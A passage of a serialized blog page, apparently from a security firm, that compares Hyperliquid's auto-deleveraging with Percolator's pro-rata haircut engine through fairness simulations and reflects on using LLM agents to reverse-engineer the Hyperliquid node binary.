ype":24,"tag":930,"props":166761,"children":166763},{"className":166762,"style":96195},[7157],[166764],{"type":24,"tag":930,"props":166765,"children":166766},{},[],{"type":24,"tag":930,"props":166768,"children":166770},{"className":166769},[24840],[166771],{"type":30,"value":6249},{"type":30,"value":10433},{"type":24,"tag":156,"props":166774,"children":166776},{"className":166775},[7098,7099],[166777],{"type":24,"tag":930,"props":166778,"children":166780},{"className":166779},[7104],[166781],{"type":24,"tag":930,"props":166782,"children":166784},{"className":166783,"ariaHidden":7110},[7109],[166785,166863],{"type":24,"tag":930,"props":166786,"children":166788},{"className":166787},[7115],[166789,166793,166850,166854,166859],{"type":24,"tag":930,"props":166790,"children":166792},{"className":166791,"style":144754},[7120],[],{"type":24,"tag":930,"props":166794,"children":166796},{"className":166795},[7126],[166797,166802],{"type":24,"tag":930,"props":166798,"children":166800},{"className":166799},[7126,24690],[166801],{"type":30,"value":87415},{"type":24,"tag":930,"props":166803,"children":166805},{"className":166804},[7142],[166806],{"type":24,"tag":930,"props":166807,"children":166809},{"className":166808},[7147,24743],[166810,166839],{"type":24,"tag":930,"props":166811,"children":166813},{"className":166812},[7152],[166814,166834],{"type":24,"tag":930,"props":166815,"children":166817},{"className":166816,"style":96641},[7157],[166818],{"type":24,"tag":930,"props":166819,"children":166820},{"style":96168},[166821,166825],{"type":24,"tag":930,"props":166822,"children":166824},{"className":166823,"style":7167},[7166],[],{"type":24,"tag":930,"props":166826,"children":166828},{"className":166827},[7172,7173,7174,7175],[166829],{"type":24,"tag":930,"props":166830,"children":166832},{"className":166831},[7126,24690,7175],[166833],{"type":30,"value":6854},{"type":24,"tag":930,"props":166835,"children":166837},{"className":166836},[24846],[166838],{"type":30,"value":24849},{"type":24,"tag":930,"props":166840,"children":166842},{"className":166841},[7152],[166843],{"type":24,"tag":930,"props":166844,"children":166846},{"className":166845,"style":96195},[7157],[166847],{"type":24,"tag":930,"props":166848,"children":166849},{},[],{"type":24,"tag":930,"props":166851,"children":166853},{"className":166852,"style":7304},[7206],[],{"type":24,"tag":930,"props":166855,"children":166857},{"className":166856},[7309],[166858],{"type":30,"value":1161},{"type":24,"tag":930,"props":166860,"children":166862},{"className":166861,"style":7304},[7206],[],{"type":24,"tag":930,"props":166864,"children":166866},{"className":166865},[7115],[166867,166871,166928,166933],{"type":24,"tag":930,"props":166868,"children":166870},{"className":166869,"style":7227},[7120],[],{"type":24,"tag":930,"props":166872,"children":166874},{"className":166873},[7126],[166875,166880],{"type":24,"tag":930,"props":166876,"children":166878},{"className":166877},[7126,24690],[166879],{"type":30,"value":22378},{"type":24,"tag":930,"props":166881,"children":166883},{"className":166882},[7142],[166884],{"type":24,"tag":930,"props":166885,"children":166887},{"className":166886},[7147,24743],[166888,166917],{"type":24,"tag":930,"props":166889,"children":166891},{"className":166890},[7152],[166892,166912],{"type":24,"tag":930,"props":166893,"children":166895},{"className":166894,"style":96641},[7157],[166896],{"type":24,"tag":930,"props":166897,"children":166898},{"style":96168},[166899,166903],{"type":24,"tag":930,"props":166900,"children":166902},{"className":166901,"style":7167},[7166],[],{"type":24,"tag":930,"props":166904,"children":166906},{"className":166905},[7172,7173,7174,7175],[166907],{"type":24,"tag":930,"props":166908,"children":166910},{"className":166909},[7126,24690,7175],[166911],{"type":30,"value":6854},{"type":24,"tag":930,"props":166913,"children":166915},{"className":166914},[24846],[166916],{"type":30,"value":24849},{"type":24,"tag":930,"props":166918,"children":166920},{"className":166919},[7152],[166921],{"type":24,"tag":930,"props":166922,"children":166924},{"className":166923,"style":96195},[7157],[166925],{"type":24,"tag":930,"props":166926,"children":166927},{},[],{"type":24,"tag":930,"props":166929,"children":166931},{"className":166930},[7126],[166932],{"type":30,"value":1471},{"type":24,"tag":930,"props":166934,"children":166936},{"className":166935},[7126],[166937,166942],{"type":24,"tag":930,"props":166938,"children":166940},{"className":166939,"style":124755},[7126,24690],[166941],{"type":30,"value":52661},{"type":24,"tag":930,"props":166943,"children":166945},{"className":166944},[7142],[166946],{"type":24,"tag":930,"props":166947,"children":166949},{"className":166948},[7147,24743],[166950,166979],{"type":24,"tag":930,"props":166951,"children":166953},{"className":166952},[7152],[166954,166974],{"type":24,"tag":930,"props":166955,"children":166957},{"className":166956,"style":96641},[7157],[166958],{"type":24,"tag":930,"props":166959,"children":166960},{"style":163703},[166961,166965],{"type":24,"tag":930,"props":166962,"children":166964},{"className":166963,"style":7167},[7166],[],{"type":24,"tag":930,"props":166966,"children":166968},{"className":166967},[7172,7173,7174,7175],[166969],{"type":24,"tag":930,"props":166970,"children":166972},{"className":166971},[7126,24690,7175],[166973],{"type":30,"value":6854},{"type":24,"tag":930,"props":166975,"children":166977},{"className":166976},[24846],[166978],{"type":30,"value":24849},{"type":24,"tag":930,"props":166980,"children":166982},{"className":166981},[7152],[166983],{"type":24,"tag":930,"props":166984,"children":166986},{"className":166985,"style":96195},[7157],[166987],{"type":24,"tag":930,"props":166988,"children":166989},{},[],{"type":30,"value":166991}," for each winner with ",{"type":24,"tag":156,"props":166993,"children":166995},{"className":166994},[7098,7099],[166996],{"type":24,"tag":930,"props":166997,"children":166999},{"className":166998},[7104],[167000],{"type":24,"tag":930,"props":167001,"children":167003},{"className":167002,"ariaHidden":7110},[7109],[167004,167083],{"type":24,"tag":930,"props":167005,"children":167007},{"className":167006},[7115],[167008,167013,167070,167074,167079],{"type":24,"tag":930,"props":167009,"children":167012},{"className":167010,"style":167011},[7120],"height:0.6891em;vertical-align:-0.15em;",[],{"type":24,"tag":930,"props":167014,"children":167016},{"className":167015},[7126],[167017,167022],{"type":24,"tag":930,"props":167018,"children":167020},{"className":167019,"style":124755},[7126,24690],[167021],{"type":30,"value":52661},{"type":24,"tag":930,"props":167023,"children":167025},{"className":167024},[7142],[167026],{"type":24,"tag":930,"props":167027,"children":167029},{"className":167028},[7147,24743],[167030,167059],{"type":24,"tag":930,"props":167031,"children":167033},{"className":167032},[7152],[167034,167054],{"type":24,"tag":930,"props":167035,"children":167037},{"className":167036,"style":96641},[7157],[167038],{"type":24,"tag":930,"props":167039,"children":167040},{"style":163703},[167041,167045],{"type":24,"tag":930,"props":167042,"children":167044},{"className":167043,"style":7167},[7166],[],{"type":24,"tag":930,"props":167046,"children":167048},{"className":167047},[7172,7173,7174,7175],[167049],{"type":24,"tag":930,"props":167050,"children":167052},{"className":167051},[7126,24690,7175],[167053],{"type":30,"value":6854},{"type":24,"tag":930,"props":167055,"children":167057},{"className":167056},[24846],[167058],{"type":30,"value":24849},{"type":24,"tag":930,"props":167060,"children":167062},{"className":167061},[7152],[167063],{"type":24,"tag":930,"props":167064,"children":167066},{"className":167065,"style":96195},[7157],[167067],{"type":24,"tag":930,"props":167068,"children":167069},{},[],{"type":24,"tag":930,"props":167071,"children":167073},{"className":167072,"style":7304},[7206],[],{"type":24,"tag":930,"props":167075,"children":167077},{"className":167076},[7309],[167078],{"type":30,"value":2261},{"type":24,"tag":930,"props":167080,"children":167082},{"className":167081,"style":7304},[7206],[],{"type":24,"tag":930,"props":167084,"children":167086},{"className":167085},[7115],[167087,167091],{"type":24,"tag":930,"props":167088,"children":167090},{"className":167089,"style":97143},[7120],[],{"type":24,"tag":930,"props":167092,"children":167094},{"className":167093},[7126],[167095],{"type":30,"value":1818},{"type":30,"value":167097}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":24,"tag":156,"props":167099,"children":167101},{"className":167100},[7098,7099],[167102],{"type":24,"tag":930,"props":167103,"children":167105},{"className":167104},[7104],[167106],{"type":24,"tag":930,"props":167107,"children":167109},{"className":167108,"ariaHidden":7110},[7109],[167110,167136],{"type":24,"tag":930,"props":167111,"children":167113},{"className":167112},[7115],[167114,167118,167123,167127,167132],{"type":24,"tag":930,"props":167115,"children":167117},{"className":167116,"style":24685},[7120],[],{"type":24,"tag":930,"props":167119,"children":167121},{"className":167120,"style":24691},[7126,24690],[167122],{"type":30,"value":124253},{"type":24,"tag":930,"props":167124,"children":167126},{"className":167125,"style":7304},[7206],[],{"type":24,"tag":930,"props":167128,"children":167130},{"className":167129},[7309],[167131],{"type":30,"value":1161},{"type":24,"tag":930,"props":167133,"children":167135},{"className":167134,"style":7304},[7206],[],{"type":24,"tag":930,"props":167137,"children":167139},{"className":167138},[7115],[167140,167144],{"type":24,"tag":930,"props":167141,"children":167143},{"className":167142,"style":97143},[7120],[],{"type":24,"tag":930,"props":167145,"children":167147},{"className":167146},[7126],[167148],{"type":30,"value":7129},{"type":30,"value":167150}," means everyone loses the same fraction of their PNL. ",{"type":24,"tag":156,"props":167152,"children":167154},{"className":167153},[7098,7099],[167155],{"type":24,"tag":930,"props":167156,"children":167158},{"className":167157},[7104],[167159],{"type":24,"tag":930,"props":167160,"children":167162},{"className":167161,"ariaHidden":7110},[7109],[167163,167190],{"type":24,"tag":930,"props":167164,"children":167166},{"className":167165},[7115],[167167,167171,167176,167180,167186],{"type":24,"tag":930,"props":167168,"children":167170},{"className":167169,"style":24685},[7120],[],{"type":24,"tag":930,"props":167172,"children":167174},{"className":167173,"style":24691},[7126,24690],[167175],{"type":30,"value":124253},{"type":24,"tag":930,"props":167177,"children":167179},{"className":167178,"style":7304},[7206],[],{"type":24,"tag":930,"props":167181,"children":167183},{"className":167182},[7309],[167184],{"type":30,"value":167185},"≈",{"type":24,"tag":930,"props":167187,"children":167189},{"className":167188,"style":7304},[7206],[],{"type":24,"tag":930,"props":167191,"children":167193},{"className":167192},[7115],[167194,167198],{"type":24,"tag":930,"props":167195,"children":167197},{"className":167196,"style":97143},[7120],[],{"type":24,"tag":930,"props":167199,"children":167201},{"className":167200},[7126],[167202],{"type":30,"value":1818},{"type":30,"value":167204}," means a few get wiped while most are untouched.",{"type":24,"tag":100,"props":167206,"children":167207},{},[167208,167212,167213,167371,167373,167467,167469],{"type":24,"tag":6032,"props":167209,"children":167210},{},[167211],{"type":30,"value":163307},{"type":30,"value":35999},{"type":24,"tag":156,"props":167214,"children":167216},{"className":167215},[7098,7099],[167217],{"type":24,"tag":930,"props":167218,"children":167220},{"className":167219},[7104],[167221],{"type":24,"tag":930,"props":167222,"children":167224},{"className":167223,"ariaHidden":7110},[7109],[167225],{"type":24,"tag":930,"props":167226,"children":167228},{"className":167227},[7115],[167229,167234,167309,167314],{"type":24,"tag":930,"props":167230,"children":167233},{"className":167231,"style":167232},[7120],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":24,"tag":930,"props":167235,"children":167237},{"className":167236},[7126],[167238,167243],{"type":24,"tag":930,"props":167239,"children":167241},{"className":167240,"style":98120},[7126,24690],[167242],{"type":30,"value":164032},{"type":24,"tag":930,"props":167244,"children":167246},{"className":167245},[7142],[167247],{"type":24,"tag":930,"props":167248,"children":167250},{"className":167249},[7147,24743],[167251,167297],{"type":24,"tag":930,"props":167252,"children":167254},{"className":167253},[7152],[167255,167292],{"type":24,"tag":930,"props":167256,"children":167258},{"className":167257,"style":111192},[7157],[167259,167276],{"type":24,"tag":930,"props":167260,"children":167262},{"style":167261},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[167263,167267],{"type":24,"tag":930,"props":167264,"children":167266},{"className":167265,"style":7167},[7166],[],{"type":24,"tag":930,"props":167268,"children":167270},{"className":167269},[7172,7173,7174,7175],[167271],{"type":24,"tag":930,"props":167272,"children":167274},{"className":167273,"style":24691},[7126,24690,7175],[167275],{"type":30,"value":9100},{"type":24,"tag":930,"props":167277,"children":167278},{"style":7161},[167279,167283],{"type":24,"tag":930,"props":167280,"children":167282},{"className":167281,"style":7167},[7166],[],{"type":24,"tag":930,"props":167284,"children":167286},{"className":167285},[7172,7173,7174,7175],[167287],{"type":24,"tag":930,"props":167288,"children":167290},{"className":167289,"style":96598},[7126,24690,7175],[167291],{"type":30,"value":163546},{"type":24,"tag":930,"props":167293,"children":167295},{"className":167294},[24846],[167296],{"type":30,"value":24849},{"type":24,"tag":930,"props":167298,"children":167300},{"className":167299},[7152],[167301],{"type":24,"tag":930,"props":167302,"children":167305},{"className":167303,"style":167304},[7157],"height:0.2753em;",[167306],{"type":24,"tag":930,"props":167307,"children":167308},{},[],{"type":24,"tag":930,"props":167310,"children":167312},{"className":167311},[7126],[167313],{"type":30,"value":1471},{"type":24,"tag":930,"props":167315,"children":167317},{"className":167316},[7126],[167318,167323],{"type":24,"tag":930,"props":167319,"children":167321},{"className":167320,"style":98120},[7126,24690],[167322],{"type":30,"value":164032},{"type":24,"tag":930,"props":167324,"children":167326},{"className":167325},[7142],[167327],{"type":24,"tag":930,"props":167328,"children":167330},{"className":167329},[7147,24743],[167331,167360],{"type":24,"tag":930,"props":167332,"children":167334},{"className":167333},[7152],[167335,167355],{"type":24,"tag":930,"props":167336,"children":167338},{"className":167337,"style":145030},[7157],[167339],{"type":24,"tag":930,"props":167340,"children":167341},{"style":164051},[167342,167346],{"type":24,"tag":930,"props":167343,"children":167345},{"className":167344,"style":7167},[7166],[],{"type":24,"tag":930,"props":167347,"children":167349},{"className":167348},[7172,7173,7174,7175],[167350],{"type":24,"tag":930,"props":167351,"children":167353},{"className":167352,"style":24691},[7126,24690,7175],[167354],{"type":30,"value":9100},{"type":24,"tag":930,"props":167356,"children":167358},{"className":167357},[24846],[167359],{"type":30,"value":24849},{"type":24,"tag":930,"props":167361,"children":167363},{"className":167362},[7152],[167364],{"type":24,"tag":930,"props":167365,"children":167367},{"className":167366,"style":96195},[7157],[167368],{"type":24,"tag":930,"props":167369,"children":167370},{},[],{"type":30,"value":167372}," — ",{"type":24,"tag":156,"props":167374,"children":167376},{"className":167375},[7098,7099],[167377],{"type":24,"tag":930,"props":167378,"children":167380},{"className":167379},[7104],[167381],{"type":24,"tag":930,"props":167382,"children":167384},{"className":167383,"ariaHidden":7110},[7109],[167385],{"type":24,"tag":930,"props":167386,"children":167388},{"className":167387},[7115],[167389,167394],{"type":24,"tag":930,"props":167390,"children":167393},{"className":167391,"style":167392},[7120],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":24,"tag":930,"props":167395,"children":167397},{"className":167396},[7126],[167398,167403],{"type":24,"tag":930,"props":167399,"children":167401},{"className":167400,"style":98120},[7126,24690],[167402],{"type":30,"value":164032},{"type":24,"tag":930,"props":167404,"children":167406},{"className":167405},[7142],[167407],{"type":24,"tag":930,"props":167408,"children":167410},{"className":167409},[7147,24743],[167411,167456],{"type":24,"tag":930,"props":167412,"children":167414},{"className":167413},[7152],[167415,167451],{"type":24,"tag":930,"props":167416,"children":167418},{"className":167417,"style":111192},[7157],[167419,167435],{"type":24,"tag":930,"props":167420,"children":167421},{"style":167261},[167422,167426],{"type":24,"tag":930,"props":167423,"children":167425},{"className":167424,"style":7167},[7166],[],{"type":24,"tag":930,"props":167427,"children":167429},{"className":167428},[7172,7173,7174,7175],[167430],{"type":24,"tag":930,"props":167431,"children":167433},{"className":167432,"style":24691},[7126,24690,7175],[167434],{"type":30,"value":9100},{"type":24,"tag":930,"props":167436,"children":167437},{"style":7161},[167438,167442],{"type":24,"tag":930,"props":167439,"children":167441},{"className":167440,"style":7167},[7166],[],{"type":24,"tag":930,"props":167443,"children":167445},{"className":167444},[7172,7173,7174,7175],[167446],{"type":24,"tag":930,"props":167447,"children":167449},{"className":167448,"style":96598},[7126,24690,7175],[167450],{"type":30,"value":163546},{"type":24,"tag":930,"props":167452,"children":167454},{"className":167453},[24846],[167455],{"type":30,"value":24849},{"type":24,"tag":930,"props":167457,"children":167459},{"className":167458},[7152],[167460],{"type":24,"tag":930,"props":167461,"children":167463},{"className":167462,"style":167304},[7157],[167464],{"type":24,"tag":930,"props":167465,"children":167466},{},[],{"type":30,"value":167468}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":24,"tag":156,"props":167470,"children":167472},{"className":167471},[7098,7099],[167473],{"type":24,"tag":930,"props":167474,"children":167476},{"className":167475},[7104],[167477],{"type":24,"tag":930,"props":167478,"children":167480},{"className":167479,"ariaHidden":7110},[7109],[167481],{"type":24,"tag":930,"props":167482,"children":167484},{"className":167483},[7115],[167485,167489],{"type":24,"tag":930,"props":167486,"children":167488},{"className":167487,"style":113316},[7120],[],{"type":24,"tag":930,"props":167490,"children":167492},{"className":167491,"style":96598},[7126,24690],[167493],{"type":30,"value":163546},{"type":24,"tag":33,"props":167495,"children":167496},{},[167497],{"type":30,"value":167498},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":24,"tag":167500,"props":167501,"children":167503},"git-hub-repo-link",{"url":167502},"https://github.com/aeyakovenko/percolator",[],{"type":24,"tag":33,"props":167505,"children":167506},{},[167507,167509,167514],{"type":30,"value":167508},"Given a fixed ",{"type":24,"tag":6032,"props":167510,"children":167511},{},[167512],{"type":30,"value":167513},"a priori",{"type":30,"value":167515}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":24,"tag":33,"props":167517,"children":167518},{},[167519,167521,167526,167528,167605],{"type":30,"value":167520},"One prediction that we can make is that Percolator is ",{"type":24,"tag":6032,"props":167522,"children":167523},{},[167524],{"type":30,"value":167525},"perfectly fair",{"type":30,"value":167527}," according to this scoring: the ",{"type":24,"tag":156,"props":167529,"children":167531},{"className":167530},[7098,7099],[167532],{"type":24,"tag":930,"props":167533,"children":167535},{"className":167534},[7104],[167536],{"type":24,"tag":930,"props":167537,"children":167539},{"className":167538,"ariaHidden":7110},[7109],[167540],{"type":24,"tag":930,"props":167541,"children":167543},{"className":167542},[7115],[167544,167548],{"type":24,"tag":930,"props":167545,"children":167547},{"className":167546,"style":144754},[7120],[],{"type":24,"tag":930,"props":167549,"children":167551},{"className":167550},[7126],[167552,167557],{"type":24,"tag":930,"props":167553,"children":167555},{"className":167554},[7126,24690],[167556],{"type":30,"value":87415},{"type":24,"tag":930,"props":167558,"children":167560},{"className":167559},[7142],[167561],{"type":24,"tag":930,"props":167562,"children":167564},{"className":167563},[7147,24743],[167565,167594],{"type":24,"tag":930,"props":167566,"children":167568},{"className":167567},[7152],[167569,167589],{"type":24,"tag":930,"props":167570,"children":167572},{"className":167571,"style":96641},[7157],[167573],{"type":24,"tag":930,"props":167574,"children":167575},{"style":96168},[167576,167580],{"type":24,"tag":930,"props":167577,"children":167579},{"className":167578,"style":7167},[7166],[],{"type":24,"tag":930,"props":167581,"children":167583},{"className":167582},[7172,7173,7174,7175],[167584],{"type":24,"tag":930,"props":167585,"children":167587},{"className":167586},[7126,24690,7175],[167588],{"type":30,"value":6854},{"type":24,"tag":930,"props":167590,"children":167592},{"className":167591},[24846],[167593],{"type":30,"value":24849},{"type":24,"tag":930,"props":167595,"children":167597},{"className":167596},[7152],[167598],{"type":24,"tag":930,"props":167599,"children":167601},{"className":167600,"style":96195},[7157],[167602],{"type":24,"tag":930,"props":167603,"children":167604},{},[],{"type":30,"value":167606}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":24,"tag":33,"props":167608,"children":167609},{},[167610,167612,167617],{"type":30,"value":167611},"We are ignoring the ",{"type":24,"tag":6032,"props":167613,"children":167614},{},[167615],{"type":30,"value":167616},"a posteriori",{"type":30,"value":167618}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":24,"tag":33,"props":167620,"children":167621},{},[167622],{"type":30,"value":167623},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":24,"tag":68,"props":167625,"children":167627},{"id":167626},"simulations",[167628],{"type":30,"value":167629},"Simulations",{"type":24,"tag":33,"props":167631,"children":167632},{},[167633],{"type":30,"value":167634},"Let's consider the following price scenarios, as we said:",{"type":24,"tag":33,"props":167636,"children":167637},{},[167638],{"type":24,"tag":140,"props":167639,"children":167642},{"alt":167640,"src":167641},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":24,"tag":33,"props":167644,"children":167645},{},[167646],{"type":30,"value":167647},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":24,"tag":33,"props":167649,"children":167650},{},[167651],{"type":24,"tag":140,"props":167652,"children":167655},{"alt":167653,"src":167654},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":24,"tag":151,"props":167657,"children":167659},{"id":167658},"percolator-is-more-optimistic",[167660],{"type":30,"value":167661},"Percolator Is More \"Optimistic\"",{"type":24,"tag":33,"props":167663,"children":167664},{},[167665,167667,167672,167674,167679,167681,167687,167689,167694],{"type":30,"value":167666},"The key difference is what happens to positions. ADL ",{"type":24,"tag":6032,"props":167668,"children":167669},{},[167670],{"type":30,"value":167671},"permanently closes",{"type":30,"value":167673}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":24,"tag":6032,"props":167675,"children":167676},{},[167677],{"type":30,"value":167678},"withdraw",{"type":30,"value":167680},", but the position stays open. If conditions improve, ",{"type":24,"tag":156,"props":167682,"children":167684},{"className":167683},[],[167685],{"type":30,"value":167686},"Residual",{"type":30,"value":167688}," goes up, ",{"type":24,"tag":156,"props":167690,"children":167692},{"className":167691},[],[167693],{"type":30,"value":87415},{"type":30,"value":167695}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":24,"tag":33,"props":167697,"children":167698},{},[167699,167701,167705],{"type":30,"value":167700},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":24,"tag":6032,"props":167702,"children":167703},{},[167704],{"type":30,"value":23290},{"type":30,"value":167706}," per position, though the tradeoff is that fewer traders get to participate.",{"type":24,"tag":33,"props":167708,"children":167709},{},[167710],{"type":24,"tag":140,"props":167711,"children":167714},{"alt":167712,"src":167713},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":24,"tag":68,"props":167716,"children":167718},{"id":167717},"some-points-to-be-made",[167719],{"type":30,"value":167720},"Some Points to Be Made",{"type":24,"tag":151,"props":167722,"children":167724},{"id":167723},"percolator-is-indifferent-to-leverage",[167725],{"type":30,"value":167726},"Percolator Is Indifferent to Leverage",{"type":24,"tag":33,"props":167728,"children":167729},{},[167730],{"type":30,"value":167731},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":24,"tag":33,"props":167733,"children":167734},{},[167735],{"type":24,"tag":140,"props":167736,"children":167739},{"alt":167737,"src":167738},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":24,"tag":151,"props":167741,"children":167743},{"id":167742},"fairness",[167744],{"type":30,"value":163297},{"type":24,"tag":33,"props":167746,"children":167747},{},[167748],{"type":30,"value":167749},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":24,"tag":33,"props":167751,"children":167752},{},[167753],{"type":24,"tag":140,"props":167754,"children":167757},{"alt":167755,"src":167756},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":24,"tag":33,"props":167759,"children":167760},{},[167761,167763,167768],{"type":30,"value":167762},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":24,"tag":156,"props":167764,"children":167766},{"className":167765},[],[167767],{"type":30,"value":161799},{"type":30,"value":167769}," we start by fully closing the worst position against the best-performing trader.",{"type":24,"tag":68,"props":167771,"children":167773},{"id":167772},"strengths-and-limitations-of-agents-for-reverse-engineering",[167774],{"type":30,"value":167775},"Strengths and Limitations of Agents for Reverse Engineering",{"type":24,"tag":33,"props":167777,"children":167778},{},[167779],{"type":30,"value":167780},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":24,"tag":151,"props":167782,"children":167784},{"id":167783},"hooks",[167785],{"type":30,"value":167786},"Hooks",{"type":24,"tag":33,"props":167788,"children":167789},{},[167790,167792,167796],{"type":30,"value":167791},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":24,"tag":6032,"props":167793,"children":167794},{},[167795],{"type":30,"value":167783},{"type":30,"value":167797},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":24,"tag":33,"props":167799,"children":167800},{},[167801],{"type":30,"value":167802},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":24,"tag":151,"props":167804,"children":167806},{"id":167805},"scale",[167807],{"type":30,"value":167808},"Scale",{"type":24,"tag":33,"props":167810,"children":167811},{},[167812],{"type":30,"value":167813},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":24,"tag":33,"props":167815,"children":167816},{},[167817],{"type":30,"value":167818},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":24,"tag":151,"props":167820,"children":167822},{"id":167821},"whats-next",[167823],{"type":30,"value":167824},"What's next?",{"type":24,"tag":33,"props":167826,"children":167827},{},[167828],{"type":30,"value":167829},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":24,"tag":167500,"props":167831,"children":167832},{"url":161460},[],{"type":24,"tag":33,"props":167834,"children":167835},{},[167836],{"type":30,"value":167837},"The analyzed binary can be found here:",{"type":24,"tag":161780,"props":167839,"children":167842},{"path":167840,"name":161384,"size":167841},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":24,"tag":151,"props":167844,"children":167846},{"id":167845},"closing-words",[167847],{"type":30,"value":167848},"Closing Words",{"type":24,"tag":33,"props":167850,"children":167851},{},[167852],{"type":30,"value":167853},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":24,"tag":33,"props":167855,"children":167856},{},[167857,167859,167864],{"type":30,"value":167858},"Flagship models got us 60% of the way there, but a lot of ",{"type":24,"tag":6032,"props":167860,"children":167861},{},[167862],{"type":30,"value":167863},"manual",{"type":30,"value":167865}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":24,"tag":33,"props":167867,"children":167868},{},[167869],{"type":30,"value":167870},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":24,"tag":33,"props":167872,"children":167873},{},[167874],{"type":30,"value":167875},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":24,"tag":167877,"props":167878,"children":167879},"report-footnotes",{},[167880],{"type":24,"tag":478,"props":167881,"children":167882},{},[167883,167888,167915,167920,167925],{"type":24,"tag":100,"props":167884,"children":167885},{},[167886],{"type":30,"value":167887},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":24,"tag":100,"props":167889,"children":167890},{},[167891,167897,167899,167905,167907,167913],{"type":24,"tag":156,"props":167892,"children":167894},{"className":167893},[],[167895],{"type":30,"value":167896},"compute_user_margin_and_shortfall",{"type":30,"value":167898}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":24,"tag":156,"props":167900,"children":167902},{"className":167901},[],[167903],{"type":30,"value":167904},"0x748",{"type":30,"value":167906}," in the abstract expressions of ",{"type":24,"tag":156,"props":167908,"children":167910},{"className":167909},[],[167911],{"type":30,"value":167912},"btree_cursor",{"type":30,"value":167914},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":24,"tag":100,"props":167916,"children":167917},{},[167918],{"type":30,"value":167919},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":24,"tag":100,"props":167921,"children":167922},{},[167923],{"type":30,"value":167924},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":24,"tag":100,"props":167926,"children":167927},{},[167928,167930,167936],{"type":30,"value":167929},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: 